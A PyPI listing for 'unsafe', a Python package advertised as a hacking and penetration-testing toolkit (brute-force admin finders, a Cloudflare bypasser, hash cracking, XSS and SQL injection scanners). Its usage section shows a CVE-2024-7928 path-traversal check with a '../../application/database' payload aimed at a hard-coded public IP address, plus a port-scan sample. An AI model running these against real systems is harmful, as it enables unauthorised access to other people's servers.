Skip to main content

PyPI Daily Downloads Weekly Downloads Monthly Downloads

Unsafe (Advanced Penetration Testing Module)

Aiming to become the best package available for hacking and security in Python.

Installation

pip install unsafe

Features

  • BruteForce
    • Admin Finder
    • FileManager Finder
    • Cloudflare Bypasser
    • Wordpress Plugin Finder
  • Cryptography
    • Decrypt
    • Encrypt
    • Hash
    • Crack Hash
  • Exploits
  • Forensic
    • Image Metadata
    • PDF Metadata
    • Audio Metadata
  • Network
    • MacAddress Lookup
    • Proxy Tester
    • Port Scanner
    • Proxy Extractor
  • Web
    • Search Engine ( For GoogleDorking )
    • Crawler
    • Xss Scanner
    • SQL Injection Scanner

Usage

Exploit Sample

from unsafe import exploits

penetration_tester = exploits.CVE_2024_7928(
    url="http://47.105.229.158:9001",
    path="/index/ajax/lang",
    key="lang",
    value="../../application/database",
)
result = penetration_tester.check_vuln()
if result is not None:
    print("Target is vulnerable !")
    print("\n".join([f"{k} : {v}" for k, v in result.items()]))
else:
    print("Target is not vulnerable !")

Mac Address lookup/Port scanner

from unsafe import network

# macaddress lookup
mac_address = "00:00:5e:00:53:af"
lookup = network.mac_address_lookup(mac=mac_address)
print(lookup)

# port scanning
ports = [80, 443, 21, 27017, 9002]
ip = "127.0.0.1"
open_ports = network.port_scanner(host=ip, ports=ports)
print(open_ports)

More Examples on Github

New Features : Coming Soon...

Metadata

Release files for unsafe 1.3

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Built distribution (wheel)

Table of built distributions (wheels) for unsafe 1.3
File Interpreter ABI Platform Actions
unsafe-1.3-py3-none-any.whl Python 3 none any Details for unsafe-1.3-py3-none-any.whl

Release files / unsafe-1.3-py3-none-any.whl

Download URL unsafe-1.3-py3-none-any.whl
Size 361.1 kB
Tags Python 3
SHA-256 checksum
How to use checksums
fced02d2fc4e323f194a59a5722007beba3d86a3fab2390e0fde0c1d73237885
BLAKE2b-256 checksum
How to use checksums
7209d3e2b40bcfd9e09a78c63b6f561898dee488b641823d0f4ce6540156c419
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/5.1.1 CPython/3.11.9

Security for unsafe 1.3

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

1.3 This release

1 release file No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page